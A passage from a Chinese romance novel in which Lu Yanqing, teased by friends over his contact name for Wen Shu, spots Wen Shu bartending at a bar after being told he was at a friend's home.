放在桌上的手机轻微震动了一下,陆延青将手机拿了起来,看到那人的消息,大概就是说他晚上不回去了,抬手解锁回复。 温述最近特别乖,去哪都会通知他一声,自从有一次温述没和他说自己不回来,而他故意在沙发上等温述一宿之后,温述就养成了这个习惯,他怕他不说,陆延青又那样傻等着他,虽然他也搞不懂为什么陆延青要等他。 陆延青回信息的中途,身旁的人打闹的时候不小心看见了他的手机,等他回完,看着他笑了之后,打趣道:“哎哟,小漂亮,哥,小漂亮是谁啊?” 听到这个称呼,陆延青看了他一眼,心情颇好:“祖宗。” 他这么说,其他人更来劲儿了,能让陆延青称为祖宗的人,又设了个这样的备注,那肯定不是一般人啊,起哄道:“能让您陆少称为祖宗的,那不就是嫂子吗?” “可不是吗,什么时候带我们见见嫂子啊?” 陆延青没回话,打了几个字发过去,最近几天和温述搞好了关系,虽然用了点心计,但至少温述对他的态度明显变好,他也跟着心情好。 旁边的人还在起哄,他收了手机,刚想让他们收着点,还没板上钉钉,别乱叫,余光却感觉吧台那边的一个调酒师眼熟得很。 “……” 陆延青把头扭了过去。 【小漂亮:清清叫我聚餐,晚上不一定会回来,不要等我。】 【陆:在哪?】 【小漂亮:清清家】 【陆:好,注意安全,别玩太晚,你明天还有课】 【小漂亮:嗯嗯】 此时,那位本该在林清家里聚餐的小漂亮,现在在上江城最有名的酒吧的吧台里调酒。 还穿得那么招人。 出息了。 陆延青的目光一瞬不瞬地看着那人的身影,或许是他的视线太过灼烫,那人发现了什么,调完一杯酒之后抬头,不偏不倚地和他对视上。 那一刻,他看见了温述眼底的震惊,和不易察觉的心虚惊慌。 “骗我。”陆延青脸上没什么表情,看不出喜怒,只嘴唇动了动。 “你胆子大得很。”